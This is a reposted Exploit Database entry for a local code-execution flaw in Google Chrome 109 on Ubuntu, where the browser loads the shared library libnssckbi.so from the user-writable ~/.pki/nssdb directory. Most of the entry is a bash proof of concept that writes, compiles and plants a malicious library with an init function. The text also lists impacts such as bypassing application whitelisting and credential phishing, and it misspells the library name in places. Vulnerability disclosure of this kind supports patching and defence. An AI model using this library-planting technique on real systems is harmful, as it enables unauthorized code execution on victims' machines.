Google Chrome 109.0.5414.74 – Code Execution via missing lib file (Ubuntu)

• Exploit Database
• 191 阅读

• 作者： Rafay Baloch and Muhammad Samak
  日期： 2023-04-08
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/51331/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

  #Exploit Title: Google Chrome109.0.5414.74 - Code Execution via missing lib file (Ubuntu) Product: Google Chrome Discovered by: Rafay Baloch and Muhammad Samak #Version: 109.0.5414.74 #Impact: Moderate #Company: Cyber Citadel #Website: https://www.cybercitadel.com #Tested-on : Ubuntu 22.04.1   *Description*   Google chrome attempts to load the &apos;libssckbi.so&apos; file from a user-writable location. PATH: /home/$username/.pki/nssdb/libnssckbi.so Since the Shared Library &apos;ibnssckbi.so&apos; specified path is writeable. It is possible to achieve the Code Execution by placing the malicious file with the name <code>libnssckbi.so</code> in the specified path.       *exploit*   Following is the POC that could be used to reproduce the issue:   echo "\n\t\t\tGoogle-Chrome Shared Library Code Execution..." echo "[*] Checking /.pki/nssdb PATH" if [ -d "/home/haalim/.pki/nssdb" ] then   echo "[+] Directory Exists..." if [ -w "/home/haalim/.pki/nssdb" ] then echo "[+] Directory is writable..."   echo "[+] Directory is writable..." echo "[+] Generating malicious File libnssckbi.so ..." echo "#define _GNU_SOURCE" > /home/haalim/.pki/nssdb/exploit.c echo "#include <unistd.h>" >> /home/haalim/.pki/nssdb/exploit.c echo "#include <stdio.h>" >> /home/haalim/.pki/nssdb/exploit.c echo "#include <stdlib.h>" >> /home/haalim/.pki/nssdb/exploit.c echo "void f() {" >> /home/haalim/.pki/nssdb/exploit.c echo &apos;printf("Code Executed............ TMGM :)\n");&apos; >> /home/haalim/.pki/nssdb/exploit.c echo "}" >> /home/haalim/.pki/nssdb/exploit.c gcc -c -Wall -Werror -fpic /home/haalim/.pki/nssdb/exploit.c -o /home/haalim/.pki/nssdb/exploit.o gcc -shared -o /home/haalim/.pki/nssdb/libnssckbi.so -Wl,-init,f /home/haalim/.pki/nssdb/exploit.o     fi   fi   Upon closing the browser windows, the application executes the malicious code     *Impact*   The attacker can use this behavior to bypass the application whitelisting rules. This behavior can also lead to DoS attacks. An attacker can trick a victim into supplying credentials by creating a fake prompt.